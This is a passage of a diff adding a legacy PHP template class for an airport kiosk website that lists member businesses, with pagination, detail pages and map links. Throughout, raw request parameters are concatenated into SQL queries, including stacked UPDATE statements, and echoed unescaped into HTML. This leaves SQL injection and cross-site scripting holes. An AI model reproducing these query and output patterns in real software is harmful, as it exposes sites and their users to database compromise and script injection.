+       /** @var integer thread_count The thread count*/
+       var $thread_count;
+       /** @var integer catid  catid for the page */
+       var $catid;
+       /** @var array $pages */
+       var $pages;
+       /** @var string $active_query string adding active = 't' to queries only if ACTIVE_FLAG is set to true */
+       var $active_query;
+       /** @var integer $template integer determines page layout */
+       var $template;
+       /**
+        * split 
+        * how many per page to show (members only)
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $split;  
+       /**
+        * paginate 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $paginate;
+       /**
+        * kiosk_sections 
+        * 
+        * @var mixed
+        * @access public
+        */
+       var $kiosk_sections;
+       /** @var string $php_ext pgae extension for php pages .php or .phtml */
+
+       /**
+       * GLM_TEMPLATE:Contsructor of the class
+       * This function is run on intialization.
+       * Any setup vars should be overwritten by creating a new class
+       * that extends this one and setting new vars in the constructor.
+       *
+       * @param integer $catid: catid Must be set
+       * @uses GLM_DB
+       * @example /media/homes/matrix/www/www.setup.com/index.php
+       * 
+       * @return void 
+       * @access public
+       **/
+       function GLM_TEMPLATE( $catid, $DB = NULL )
+       {
+               $this->catid = $catid;      // sets $this->catid
+               $this->set_DB( &$DB );                  // using a reference to $DB (should be started on setup.phtml
+               $this->split = 3;
+               $this->memb_toolbox = $this->memb_toolbox_array();
+               $this->memb_names = $this->memb_names_array();
+               $this->kiosk_sections = $this->kiosk_section_array();
+               switch( $GLOBALS['GLM_SERVER_ID'] )
+               {
+                       case "devsys.gaslightmedia.com":
+                               $this->member_mid_image_path = '/home/httpd/www/www.pellstonairport.com/images/midsized/';
+                               $this->member_mid_image_url = 'http://devsys.gaslightmedia.com/www.pellstonairport.com/images/midsized/';
+                       break;
+                       case "ws1.gaslightmedia.com":
+                               $this->member_mid_image_path = '/home/httpd/server/www.pellstonairport.com/images/midsized/';
+                               $this->member_mid_image_url = 'http://www.pellstonairport.com/images/midsized/';
+                       break;
+               }
+               $this->header_begin = "<h1>";   // class="content" should not be used anymore 
+               $this->header_end = "</h1>";    // create style for p h1 h2 tags if needed try to keep it clean
+               $this->subheader_begin = "<h2>";// should not be using h3 here duh go from 1 to 2 instead
+               $this->subheader_end = "</h2>"; // like your suppose to
+               $this->img_alternate = 1;               // for alternating images set to 1 else leave alone
+               $this->img_align = "left";              // the starting postion for images change to left if needed
+               $this->img_size = RESIZED;              // img_size are RESIZED,MIDSIZED,THUMB do not use ORIGINAL
+               $this->whole_thread = "";               // do not touch this it is used for menu generation
+               $this->thread_count = 1;                // also used for menu generation
+               $this->php_ext = '.php';                // defaults to .php
+               $this->set_pages( &$GLOBALS['PAGES'] );
+               $this->set_active_query();              // set active query string 
+       }
+
+       /**
+        * memb_toolbox_array 
+        * 
+        * @access public
+        * @return string
+        */
+       function memb_toolbox_array()
+       {
+               static $memb_toolbox;
+               if( !is_array( $memb_toolbox ) )
+               {
+                       $memb_toolbox[8] = array(10);                           // Transportation
+                       $memb_toolbox[9] = array(8,9,12);                       // Attractions
+                       $memb_toolbox[4] = array(3,4,5,6,7);            // services
+                       $memb_toolbox[5] = array(11);                           // Dining
+                       $memb_toolbox[6] = array(1);                            // Lodging
+                       $memb_toolbox[7] = array(2,13);                         // Area Info
+               }
+               return( $memb_toolbox );
+       }
+
+       /**
+        * kiosk_section_array 
+        * 
+        * @access public
+        * @return string
+        */
+       function kiosk_section_array()
+       {
+               static $kiosk_sections;
+               if( !is_array( $kiosk_sections ) )
+               {
+                       $kiosk_sections[2] = 'flight.gif';
+                       $kiosk_sections[3] = 'about.gif';
+                       $kiosk_sections[4] = 'services.gif';
+                       $kiosk_sections[5] = 'dining.gif';
+                       $kiosk_sections[6] = 'lodging.gif';
+                       $kiosk_sections[7] = 'info.gif';
+                       $kiosk_sections[8] = 'transportation.gif';
+                       $kiosk_sections[9] = 'attractions.gif';
+               }
+               return( $kiosk_sections );
+       }
+       /**
+        * memb_names_array 
+        * 
+        * @access public
+        * @return string
+        */
+       function memb_names_array()
+       {
+               static $memb_names;
+               if( !is_array( $memb_names ) )
+               {
+                       $memb_names[8] = 'Transportation';
+                       $memb_names[9] = 'Attractions';
+                       $memb_names[4] = 'Services';
+                       $memb_names[5] = 'Dining';
+                       $memb_names[6] = 'Area Lodging';
+               }
+               return( $memb_names );
+       }
+
+       /**
+        * get_city_list 
+        * 
+        * @param mixed $catid 
+        * @access public
+        * @return string
+        */
+       function get_city_list( $catid )
+       {
+               $out = '';
+               if( $memb_types = $this->memb_toolbox[$catid] )
+               {
+                       $query = "select distinct city from member where inactive = 'f' and memb_type in (".implode(",",$memb_types).") order by city;";
+                       if( $data = $this->DB->db_auto_get_data( $query ) )
+                       {
+                               $out .= '<div id="cat-list">
+                                       ';
+                               foreach( $data as $row )
+                               {
+                                       $city = urlencode( strip_tags( $row['city'] ) );
+                                       $out .= '<a href="list.php?city='.$city.'&amp;catid='.$catid.'" class="cat-list-item">'.$row["city"].'</a>';
+                               }
+                               $out .= '</div>
+                       ';
+                       }
+               }
+               return( $out );
+       }
+
+       function get_memb_type($id)
+       {
+               static $memb_types;
+               if( !is_array( $memb_types ) )
+               {
+                       $query = "select memb_type.id,memb_type.name from memb_type right outer join member on (member.memb_type = memb_type.id) where memb_type.id in (".implode(",",$this->memb_toolbox[4]).") group by memb_type.name,memb_type.id;";
+                       if( $data = $this->DB->db_auto_get_data( $query ) )
+                       {
+                               foreach( $data as $row )
+                               {
+                                       $memb_types[$row['id']] = $row['name'];
+                               }
+                       }
+               }
+               return($memb_type[$id]);
+       }
+       function get_services_list( $id )
+       {
+               static $memb_types;
+               $out = '';
+               if( !is_array( $memb_types ) )
+               {
+                       $query = "select memb_type.id,memb_type.name from memb_type right outer join member on (member.memb_type = memb_type.id) where memb_type.id in (".implode(",",$this->memb_toolbox[$id]).") group by memb_type.name,memb_type.id;";
+                       if( $data = $this->DB->db_auto_get_data( $query ) )
+                       {
+                               foreach( $data as $row )
+                               {
+                                       $memb_types[$row['id']] = $row['name'];
+                               }
+                       }
+               }
+               echo '<!--<pre>';
+               print_r($memb_types);
+               echo '</pre>-->';
+               if( is_array( $this->memb_toolbox[$id] ) )
+               {
+                       $out .= '<div id="cat-list">
+                               ';
+                       foreach( $this->memb_toolbox[$id] as $memb_type_id )
+                       {
+                               if( !$memb_types[$memb_type_id] )
+                               {
+                                       continue;
+                               }
+                               $city = urlencode( strip_tags( $memb_types[$memb_type_id] ) );
+                               $out .= '<a href="list.php?memb_type='.$memb_type_id.'&amp;catid='.$id.'" class="cat-list-item">'.$memb_types[$memb_type_id].'</a>';
+                       }
+                       $out .= '</div>
+               ';
+               }
+               return( $out );
+       }
+       /**
+        * pagination 
+        * 
+        * @param mixed $total 
+        * @param mixed $current 
+        * @param mixed $split 
+        * @access public
+        * @return string
+        */
+       function pagination( $total, $start, $split )
+       {
+               // FIND out which page we're on.
+               if( $total != 0 )
+               {  
+                       $total_pages = ceil( $total / $split );// total pages = the total result divided by page length rounded down 
+                       //$total_pages++;                                                       // then add one
+                       if($start == 0)                                                 // if start is 0 then page is one
+                       {
+                               $page = 1;                                                                              
+                       }
+                       else    
+                       {
+                               $page = ( $start / $split ) + 1;
+                       }
+               }
+               if($total > $split && ( $page != $total_pages ) )
+               {
+                       $end = $split + $start;
+               }
+               else
+               {
+                       $end = $total;
+               }
+               $last = $start - $split;
+               $out = '';
+               $param = ( $_GET['memb_type'] ) ? 'memb_type='.$_GET['memb_type']: 'city='.urlencode($_GET['city']);
+               if( $start != 0 && $page != 1 )
+               {
+                       $link_prev = '<a href="';
+                       $link_prev .= 'list.php?catid='.$_GET['catid'].'&amp;'.$param.'&amp;start='.$last;
+                       $link_prev .= '"><img src="assets/left.gif" width="53" height="48" alt="left"></a>';
+               }
+               else
+               {
+                       $link_prev = '';
+               }
+               if( $page != $total_pages )
+               {
+                       $link_next = '<a href="';
+                       $link_next .= 'list.php?catid='.$_GET['catid'].'&amp;'.$param.'&amp;start='.$end;
+                       $link_next .= '"><img src="assets/right.gif" width="53" height="48" alt="right"></a>';
+               }
+               else
+               {
+                       $link_next = '';
+               }
+               $out .= '<div id="pagination">
+                               <span id="page">Page:</span>
+                               '.$link_prev.'
+                               <span id="page-number">'.$page.' of '.$total_pages.'</span>
+                               '.$link_next.'
+                       </div>';
+               $this->paginate = $out;
+       }
+
+       /**
+        * get_member_list 
+        * 
+        * @access public
+        * @return string
+        */
+       function get_member_list()
+       {
+               $start = ( $_GET['start'] ) ? $_GET['start'] : 0;
+               $out = '';
+               if( $memb_types = $this->memb_toolbox[$_GET['catid']] )
+               {
+                       if( $_GET['id'] )
+                       {
+                               if( $_GET['banner'] )
+                               {
+                                       $addquery = "update banner set click_kiosk = click_kiosk + 1 where id = ".$_GET['banner'].";";
+                                       $addquery .= "update member set kiosk_hits = kiosk_hits + 1 where id = ".$_GET['id'].";";
+                               }
+                               else
+                               {
+                                       $addquery = "update member set kiosk_hits = kiosk_hits + 1 where id = ".$_GET['id'].";";
+                               }
+                               $query = $addquery."select * from member where id = ".$_GET['id'];
+                               if( $data = $this->DB->db_auto_get_data( $query ) )
+                               {
+                                       if( strstr( $_SERVER['PHP_SELF'],'google-map.php' ) )
+                                       {
+                                               $out .= $this->display_google_detail_member( $data[0] );
+                                       }
+                                       else
+                                       {
+                                               $out .= $this->display_detail_member( $data[0] );
+                                       }
+                               }
+                       }
+                       else
+                       {
+                               if( $_GET['memb_type'] )
+                               {
+                                       $query = "select id,lat,lon,name,address,city,state,zip,toll_free,phone,kiosk_phone,email,url,image1 from member where memb_type = ".$_GET['memb_type']." and inactive = 'f'";
+                               }
+                               else
+                               {
+                                       if( $_GET['city'] == 'Transportation' )
+                                       {
+                                               $query = "select id,lat,lon,name,address,city,state,zip,toll_free,phone,kiosk_phone,email,url,image1 from member where inactive = 'f' and memb_type in (".implode(",",$memb_types).")";
+                                       }
+                                       else
+                                       {
+                                               $query = "select id,lat,lon,name,address,city,state,zip,toll_free,phone,kiosk_phone,email,url,image1 from member where city = '".$_GET['city']."' and inactive = 'f' and memb_type in (".implode(",",$memb_types).")";
+                               }
+                               }
+                               if( $_GET['firstletter'] )
+                               {
+                                       $query .= " and substr(lower(name),1,1) = '".$_GET['firstletter']."'";
+                               }
+                               $query .= " order by name;";
+                               //echo '<!--'.$query.'-->';
+                               if( $data = $this->DB->db_auto_get_data( $query ) )
+                               {
+                                       $num = count($data);
+                                       $this->pagination( $num, $start, $this->split );
+                                       if( $start == 0 )
+                                       {
+                                               $end = ( $num > $this->split ) ? $start + $this->split : $num;
+                                       }
+                                       elseif( $start + $this->split > $num )
+                                       {
+                                               $end = $num;
+                                       }
+                                       else
+                                       {
+                                               $end = $start + $this->split;
+                                       }
+                                       $out .= '<table id="i-hate-table-layouts">
+                                               ';
+                                       for( $i = $start; $i < $end; $i++ )
+                                       {
+                                               $out .= $this->display_list_member( $data[$i] );
+                                       }
+                                       $out .= '</table>';
+                               }
+                       }
+               }
+               return( $out );
+       }
+
+       /**
+        * display_list_member 
+        * 
+        * @param mixed $row 
+        * @access public
+        * @return string
+        */
+       function display_list_member( $row )
+       {
+               $params = ( $_GET['city'] ) ? 'city='.urlencode($_GET['city']) :'memb_type='.$_GET['memb_type'];
+               if( $row['image1'] != '' && is_file( $this->member_mid_image_path.$row['image1'] ) )
+               {
+                       $size = getimagesize( $this->member_mid_image_path.$row['image1'] );
+                       if( $size[0] > 197 )
+                       {
+                               $size[3] = 'width="197"';
+                       }
+                       if( $size[1] > 145 )
+                       {
+                               $size[3] = 'height="145"';
+                       }
+                       $image = '<img src="'.$this->member_mid_image_url.$row['image1'].'" '.$size[3].' alt="'.htmlentities( $row['image1'] ).'" class="item-photo">';
+               }
+               // use the kiosk phone number only
+               //$row['phone'] = ( $row['kiosk_phone'] ) ? $row['kiosk_phone']:'';
+               $phone = ( $row['kiosk_phone'] ) ? ereg_replace("[^0-9]","",$row['kiosk_phone']) : '';
+               if( $phone )
+               {
+                       $phone_caller = '<a href="#" onClick="SingleDial('.$phone.')"><img src="assets/call.gif" width="147" height="44" alt="call (1K)" class="item-call"></a>';
+               }
+               else
+               {
+                       $phone_caller = '';
+               }
+               $phone_num = ( $row['toll_free'] ) ? $row['toll_free']: ( $row['phone'] ) ? '<br><strong>Phone:</strong> '.$row['phone']:'';
+               $page .= 'detail.php?catid='.$_GET['catid'].'&amp;'.$params
+               .'&amp;start='.
+               (($_GET["start"])?$_GET["start"]:0)
+               .'&amp;id='.$row["id"]
+               .(($_GET['firstletter'])?'&amp;firstletter='.$_GET['firstletter']:'');
+               $map_link = (!$row['lat']) ? '': '<a href="'.URL_BASE.'google-map.php?catid='.$_GET['catid'].'&amp;'.$params
+                       .'&amp;start='.(($_GET["start"])?$_GET["start"]:0)
+                       .(($_GET['firstletter'])?'&amp;firstletter='.$_GET['firstletter']:'')
+                               .'&amp;id='.$row["id"].'"><img src="assets/map-directions.gif" width="147" height="44" alt="map-directions (2K)" class="item-map-directions"></a>';
+                       $out = '<tr>
+                               <td>
+                               '.$image.'
+                       </td>
+                       <td>
+                               <div class="list-item-name">'.$row["name"].'</div>
+                               <div class="list-item-address">'.$row["address"].'</div>
+                               <div class="list-item-address">'.$row["city"].', '.$row["state"].' '.$row["zip"].$phone_num.'</div>
+                               
+                               <div class="list-name-url">'.$this->breakLongWords($row["url"]).'</div>
+                               <div class="list-name-url">'.$row["email"].'</div>
+                               <div class="clearer"></div>
+               </td>
+               <td>
+                               '.$phone_caller.'       
+                       '.$map_link.'   
+                               <a href="'.$page.'"><img src="assets/more-info.gif" width="147" height="44" alt="more-info (1K)" class="item-more-info"></a>
+               </td>
+               </tr>';
+               return( $out );
+       }
+       function breakLongWords($text)
+       {
+               $string = explode(" ",$text);
+               if(is_array($string))
+               {
+                       foreach($string as $key=>$part)
+                       {
+                               if(strlen($part) > 30)
+                               {
+                                       $string[$key] = wordwrap($part,25,"<br>",1);
+                               }
+                       }
+               }
+               return(implode(" ",$string));
+       }
+       function display_google_detail_member( $row )
+       {
+               //$row['phone'] = ( $row['kiosk_phone'] ) ? $row['kiosk_phone']:'';
+               //-$row['phone'] = ( $row['toll_free'] ) ? $row['toll_free']:($row['phone'])?$row['phone']:'' ;
+               $phone = ( $row['kiosk_phone'] ) ? ereg_replace("[^0-9]","",$row['kiosk_phone']) : '';
+               if( $phone )
+               {
+                       $phone_caller = '<a href="#" onClick="SingleDial('.$phone.')"><img src="assets/call.gif" width="147" height="44" alt="call (1K)" class="detail-call"></a>';
+               }
+               else
+               {
+                       $phone_caller = '';
+               }
+
+               if( $_GET['city'] )
+               {
+                       $params = 'city='.urlencode($_GET['city']);
+               }
+               if( $_GET['memb_type'] )
+               {
+                       $params = 'memb_type='.$_GET['memb_type'];
+               }
+               if( $_GET['firstletter'] )
+               {
+                       $params .= '&amp;firstletter='.$_GET['firstletter'];
+               }
+               //$params = ( $_GET['city'] ) ? 'city='.urlencode($_GET['city']) :'memb_type='.$_GET['memb_type'];
+               $back_page .= 'list.php?catid='.$_GET['catid'].'&amp;'.$params.'&amp;start='.
+               (($_GET["start"])?$_GET["start"]:0);
+               $phone_num = ( $row['toll_free'] ) ? $row['toll_free']:( $row['phone'] ) ? '<br><strong>Phone:</strong> '.$row['phone']:'';
+               $out = '
+                       '.$row["name"].'        
+                               <div class="detail-address">
+                                       '.$row["address"].'<br>
+                               '.$row["city"].', '.$row["state"].' '.$row["zip"].'     
+                               '.$phone_num.'
+                               </div>
+                               <div class="list-name-url">'.$this->breakLongWords($row["url"]).'</div>
+                               <div class="list-name-url">'.$row["email"].'</div>
+                       </div><!-- #detail-name -->
+                       <a href="'.$back_page.'"><img src="assets/back.gif" width="114" height="48" alt="back (2K)" id="detail-back"></a>
+     '.$phone_caller.' 
+               ';
+               return( $out );
+       }
+       /**
+        * display_detail_member 
+        * 
+        * @param mixed $row 
+        * @access public
+        * @return string
+        */
+       function display_detail_member( $row )
+       {
+               if( $_GET['city'] )
+               {
+                       $params = 'city='.urlencode($_GET['city']);
+               }
+               if( $_GET['memb_type'] )
+               {
+                       $params = 'memb_type='.$_GET['memb_type'];
+               }
+               if( $_GET['firstletter'] )
+               {
+                       $params .= '&amp;firstletter='.$_GET['firstletter'];
+               }
+               //$params = ( $_GET['city'] ) ? 'city='.urlencode($_GET['city']) :'memb_type='.$_GET['memb_type'];
+       //      $row['phone'] = ( $row['kiosk_phone'] ) ? $row['kiosk_phone']:'' ;
+               $phone = ( $row['kiosk_phone'] ) ? ereg_replace("[^0-9]","",$row['kiosk_phone']) : '';
+               if( $phone )
+               {
+                       $phone_caller = '<a href="#" onClick="SingleDial('.$phone.')"><img src="assets/call.gif" width="147" height="44" alt="call (1K)" class="detail-call"></a>';
+               }
+               else
+               {
+                       $phone_caller = '';
+               }
+               $back_page .= 'list.php?catid='.$_GET['catid'].'&amp;'.$params
+               .'&amp;start='.
+               (($_GET["start"])?$_GET["start"]:0);
+               if( $row['image1'] != '' && is_file( $this->member_mid_image_path.$row['image1'] ) )
+               {
+                       $size1 = getimagesize( $this->member_mid_image_path.$row['image1'] );
+                       if( $size1[0] > 197 )
+                       {
+                               $size1[3] = 'width="197"';
+                       }
+                       if( $size1[1] > 145 )
+                       {
+                               $size1[3] = 'height="145"';
+                       }
+                       $image1 = '<img src="'.$this->member_mid_image_url.$row['image1'].'" '.$size1[3].' alt="'.htmlentities( $row['image1'] ).'" class="detail-photo">';
+               }
+               if( $row['image2'] != '' && is_file( $this->member_mid_image_path.$row['image2'] ) )
+               {
+                       $size2 = getimagesize( $this->member_mid_image_path.$row['image2'] );
+                       if( $size2[0] > 197 )
+                       {
+                               $size2[3] = 'width="197"';
+                       }
+                       if( $size2[1] > 145 )
+                       {
+                               $size2[3] = 'height="145"';
+                       }
+                       $image2 = '<img src="'.$this->member_mid_image_url.$row['image2'].'" '.$size2[3].' alt="'.htmlentities( $row['image2'] ).'" class="detail-photo">';
+               }
+               if( $row['image3'] != '' && is_file( $this->member_mid_image_path.$row['image3'] ) )
+               {
+                       $size3 = getimagesize( $this->member_mid_image_path.$row['image3'] );
+                       if( $size3[0] > 197 )
+                       {
+                               $size3[3] = 'width="197"';
+                       }
+                       if( $size3[1] > 145 )
+                       {
+                               $size3[3] = 'height="145"';
+                       }
+                       $image3 = '<img src="'.$this->member_mid_image_url.$row['image3'].'" '.$size3[3].' alt="'.htmlentities( $row['image3'] ).'" class="detail-photo">';
+               }
+               $phone_num = ( $row['toll_free'] ) ? $row['toll_free']:( $row['phone'] ) ? '<br><strong>Phone:</strong> '.$row['phone']:'';
+               $map_link = (!$row['lat']) ? '': '<a '.$disable_map.' href="google-map.php?catid='.$_GET['catid'].'&amp;'.$params
+                       .'&amp;start='.  (($_GET["start"])?$_GET["start"]:0)
+                       .'&amp;id='.$row["id"].'"><img src="assets/map-directions.gif" width="147" height="44" alt="map-directions (2K)" class="detail-map-directions"></a>';
+               $out = '
+               <div id="details">
+                       <div id="detail-name">
+                       '.$row["name"].'        
+                               <div class="detail-address">
+                                       '.$row["address"].'<br>
+                               '.$row["city"].', '.$row["state"].' '.$row["zip"].'     
+                               '.$phone_num.'
+                               </div>
+                               <div class="list-name-url">'.$this->breakLongWords($row["url"]).'</div>
+                               <div class="list-name-url">'.$row["email"].'</div>
+                       </div><!-- #detail-name -->
+                       <a href="'.$back_page.'"><img src="assets/back.gif" width="114" height="48" alt="back (2K)" id="detail-back"></a>
+     '.$phone_caller.' 
+     '.$map_link.' 
+                       <div id="detail-detail">
+                               '.nl2br(strip_tags($row['descr'])).'
+                       </div>
+                       '.$image1.'
+                       '.$image2.'
+                       '.$image3.'
+                       <div class="clearer"></div>
+               </div>
+               ';
+               return( $out );
+       }
+       
+       function member_first_letters()
+       {
+               $out = '';
+               if( $memb_types = $this->memb_toolbox[$_GET['catid']] )
+               {
+                       if($_GET['memb_type'])
+                       {
+                                       $query = "select distinct on ( substr(lower(name),1,1) ) substr(lower(name),1,1) as letter from member where memb_type = ".$_GET['memb_type']."  and inactive = 'f'";
+                       }
+                       else
+                       {
+                               if( $_GET['city'] == 'Transportation' )
+                               {
+                                       $query = "select distinct on ( substr(lower(name),1,1) ) substr(lower(name),1,1) as letter from member where inactive = 'f' and memb_type in (".implode(",",$memb_types).") order by letter;";
+                               }
+                               else
+                               {
+                                       $query = "select distinct on ( substr(lower(name),1,1) ) substr(lower(name),1,1) as letter from member where inactive = 'f' and city = '".$_GET['city']."' and memb_type in (".implode(",",$memb_types).") order by letter;";
+                               }
+                       }
+                       if( $data = $this->DB->db_auto_get_data( $query ) )
+                       {
+                               $out = '<div id="letters">
+                                       ';
+                               foreach( $data as $row )
+                               {
+                                       $params = ( $_GET['city'] ) ? 'city='.urlencode($_GET['city']) :'memb_type='.$_GET['memb_type'];
+                                       $page = 'list.php?catid='.$_GET['catid'].'&amp;'.$params.'&amp;firstletter='.$row["letter"];
+                                       $out .= '<a href="'.$page.'"><img src="assets/letters/'.$row["letter"].'.gif" width="53" height="48" alt="a (1K)"></a>
+                                       ';
+                               }
+                               $out .= '</div>
+                       ';
+                       }
+               }
+               return( $out );
+       }
+       
+       function get_cat_list( $catid )
+       {
+               // for the toolbox pages create sub categories
+               if( in_array( $catid, array( 5,6,8,9 ) ) )
+               {
+                       $out = $this->get_city_list( $catid );
+               }
+               elseif( in_array( $catid, array( 4,7 ) ) )
+               {
+                       $out = $this->get_services_list( $this->catid );
+               }
+               else
+               {
+                       $out = $this->get_sub_list( $catid );
+               }
+               return( $out );
+               // for the 4,6,8,5,9 show the city list
+       }       
+
+       function get_sub_list( $catid )
+       {
+               $out = '';
+               $query = "select id,category from bus_category where active = 't' and kiosk = 't' and parent = $catid order by pos;";
+               if( $data = $this->DB->db_auto_get_data( $query ) )
+               {
+                       $out .= '<div id="cat-list">
+                               ';
+                       foreach( $data as $row )
+                       {
+                               $out .= '<a href="inside.php?catid='.$row["id"].'" class="cat-list-item">'.$row["category"].'</a>
+                               ';
+                       }
+                       $out .= '</div>
+               ';
+               }
+               return( $out );
+       }
+       
+       /**
+        * set_active_query: some toolboxes have an active flag some do not 
+        * so this is to allow both with and without a flag. 
+        *
+        * @uses ACTIVE_FLAG
+        * 
+        * @return void 
+        * @access public
+        **/
+       function set_active_query()
+       {
+               if( ACTIVE_FLAG )
+               {
+                       $this->active_query = " and active = 't'";
+               }
+               return( $this->active_query );
+       }
+       
+
+       /**
+        * get_hit_count: find out how many top level categories have at least one category under
+        * them.
+        * @param object &$DB : Database object
+        * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  void
+        * @access public
+        **/
+       function get_hit_count( &$DB )
+       {
+               $query = 'select id from bus_category where parent in ( select id from bus_category where
+                               parent = 0) and parent != 0';
+               $res = $DB->db_auto_get_data( $query );
+               if( !$res )
+               {
+                       return( 0 );
+               }
+               else
+               {
+                       return( count( $res ) );
+               }
+       }
+       
+       /**
+        * get_seo_url: 
+        * grab category part of the search engine friendly url
+        * looks at define for seo_url to see weather to use the seach engine friendly url's or not
+        * 
+        * @param integer $id: 
+        * @param boolean $slash = 1 : to put a slash on end or not
+        * @uses BASE_URL
+        * @uses SEO_URL
+        * @uses HOME_ID
+        * @uses GLM_TEMPLATE::$php_ext
+        * @uses GLM_TEMPLATE::set_name_url()
+        * @uses GLM_TEMPLATE::get_category_name()
+        * @uses GLM_TEMPLATE::get_base_url()
+        * 
+        * @return string $url for page.
+        * @access public
+        **/
+       function get_seo_url( $id, $slash = 1 )
+       {
+               if( $id == HOME_ID && $GLOBALS['GLM_SERVER_ID'] != 'devsys.gaslightmedia.com' )
+               {
+                       return( BASE_URL );
+               }
+               elseif( $id == HOME_ID && $GLOBALS['GLM_SERVER_ID'] == 'devsys.gaslightmedia.com' )
+               {
+                       return( BASE_URL.'index.php' );
+               }
+               if( SEO_URL )
+               {
+                       $url = BASE_URL;
+                       $url .= GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_name( $id, "bus_category", $this->DB ) );
+                       $url = strip_tags( $url );
+                       $url = htmlspecialchars( $url );
+                       if( $slash )
+                       {
+                               $url .= '/';
+                       }
+               }
+               else
+               {
+                       $url = $this->get_base_url( $id );
+                       if( $url )
+                       {
+                               $url = BASE_URL.$url;
+                               $url .= $this->php_ext.'?catid='.$id;
+                       }
+                       else
+                       {
+                               $url = BASE_URL;
+                       }
+               }       
+
+               return( $url );
+       }
+       /**
+        * set_DB: set the DB up to be that of the global one if it exists
+        * 
+        * @param object $DB : the DB object 
+        * @uses GLM_DB
+        * 
+        * @return void
+        * @access public
+        **/
+       function set_DB( $DB )
+       {
+               if( isset( $DB ) )
+               {
+                       $this->DB =& $DB;
+               }
+               else
+               {
+                       $this->DB =& new GLM_DB();
+               }
+       }
+
+       /**
+        * set_pages: grab the globals for the pages an use this for 
+        *      the pages array for the class
+        * 
+        * @return void
+        * @access public 
+        **/
+       function set_pages( $pages )
+       {
+               if( is_array( $pages ) )
+               {
+                       $this->pages =& $pages;
+               }
+       }
+       
+       /**
+       * set_catid:Set the class catid var
+       * @param integer $catid: $catid
+       * 
+       * @deprecated using get_catid
+       * @return void 
+       * @access public 
+       **/
+       function set_catid( $catid )
+       {
+               if( is_numeric( $catid ) )
+               {
+                       $this->catid = $catid;
+               }
+               else
+               {
+                       $this->catid = 1;
+               }
+       }
+
+       /**
+        * get_id_from_path_info: takes the path_info and gets a catid from bus_category table
+        * @param string $PATH_INFO: GLOBAL PATH_INFO 
+        * @param object &$dbd : object database 
+        * 
+        * @deprecated using .htaccess file for this when using seo url's
+        * @return int catid
+        * @access public
+        **/
+       function get_id_from_path_info( $PATH_INFO, &$dbd )
+       {
+               //echo "$PATH_INFO";
+               $var_array = explode( "/", $PATH_INFO );
+               if( count( $var_array ) > 0 )
+               {
+                       $it=$var_array[(sizeof($var_array) - $chop)];
+                       if( $it != "" && $it != "blank")
+                               {
+                                       $catid = GLM_TEMPLATE::get_id_from_name( $it,"bus_category", &$dbd );
+                               }
+               }
+               return( $catid );
+       }
+
+       /**
+        * get_catid: setting catid for class 
+     *
+        * We should be using the $_POST or $_GET globals here
+        * 
+        * @return int catid 
+        * @access public 
+        **/
+       function get_catid( $catid )
+       {
+               if( is_numeric( $_GET['catid'] ) )
+               {
+                       return( $_GET['catid'] );
+               }
+               elseif( is_numeric( $_POST['catid'] ) )
+               {
+                       return( $_POST['catid'] );
+               }
+               else
+               {
+                       return( $this->catid = $catid );
+               }
+       }
+
+       /**
+       * set_contact:Set the contact string
+       * <code><p><strong>Contact Name:</strong>&nbsp;{$text}</p></code>
+       * 
+       * @param string $text: The text as string
+       * @param string $email: email if givin 
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_contact( $text, $email )
+       {
+               if( $email != "" )
+               {
+                       $text = "";
+               }
+               else
+               {
+                       $text = '<p><strong>Contact Name:</strong>&nbsp;'.$text.'</p>';
+               }
+               return($text);
+       }
+
+       /**
+       * set_text:Set the contact string
+       * @param string $text: The text as string
+       * 
+       * @return string $text
+       * @access public 
+       **/
+       function set_text( $text )
+       {
+               if("" == str_replace("<br />","",trim($text)))
+               {
+                       return(false);
+               }
+               if( $text != "" )
+               {
+                       //$text = str_replace( "<a href=","<a target=\"_blank\" href=", $text );
+                       $text = $this->keyword_replace( $text );
+                       $text = nl2br($text);
+               }
+               return($text);
+       }
+
+       /**
+        * get_image_path: get image path from the size used
+        * 
+        * @uses MIDSIZED_PATH 
+        * @uses RESIZED_PATH 
+        * @uses THUMB_PATH 
+        *
+        * @return path for images
+        * @access public
+        **/
+       function get_image_path()
+       {
+               if( strstr($this->img_size,'midsized/') )
+               {
+                       return( MIDSIZED_PATH );
+               }
+               if( strstr($this->img_size,'resized/') )
+               {
+                       return( RESIZED_PATH );
+               }
+               if( strstr($this->img_size,'thumb/') )
+               {
+                       return( THUMB_PATH );
+               }
+       }
+       
+       /**
+       * set_img:Set the image string
+       * <p><code>
+       * <div class="image{$align}" style="width: {$width}px" src="{$size}{$image}" {$titletag}>
+       * <div class="imagecaption">{$caption}</div>
+       * </div>
+       * </code>
+       * </p>
+       *
+       * @param string $image: The image
+       * @param string $size: The path
+       * @param string $align: The alignment
+       * @param string $name: The image_name (displayed under image)
+       * @param string $alt_title text for use in alt and title tags
+       * @param string $caption Text for image caption if given 
+       * @uses GLM_TEMPLATE::get_image_path()
+       * 
+       * @return void
+       * @access public 
+       **/
+       function set_img( $image, $size, $align, $alt_title = NULL, $caption = NULL )
+       {
+               if( $image != "" )
+               {
+                       if( $caption != '' )
+                       {
+                               $caption = str_replace('&amp;','&',$caption);
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($caption)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+                       }
+                       elseif( $alt_title != '')
+                       {
+                               $alt_title = str_replace('&amp;','&',$alt_title);
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($alt_title)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+                       }
+                       else
+                       {
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($image)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+                       }
+                       if( $align != "" )
+                       {
+                               $img_align = 'class="image'.$align.'"';
+                       }
+                       $path = $this->get_image_path();
+                       if( is_file( $path.$image ) )
+                       {
+                               $image_size = getimagesize( $path.$image );
+                               $img_attr = $image_size[3];
+                       }
+                       $img = '
+                       <div '.$img_align.' style="width: '.$image_size[0].'px">        
+                               ';
+                       $img .= '<img '.$img_attr.' src="'.$size.$image.'" '.$titletag.'>';
+                       if( $caption )
+                       {
+                               $img .= '
+                               <div class="imagecaption">'.$caption.'</div>    
+                                       ';
+                       }
+                       $img .= '</div>
+                               ';
+                       return($img);
+               }
+       }
+
+       /**
+       * set_url:Set the url string
+       * <p>
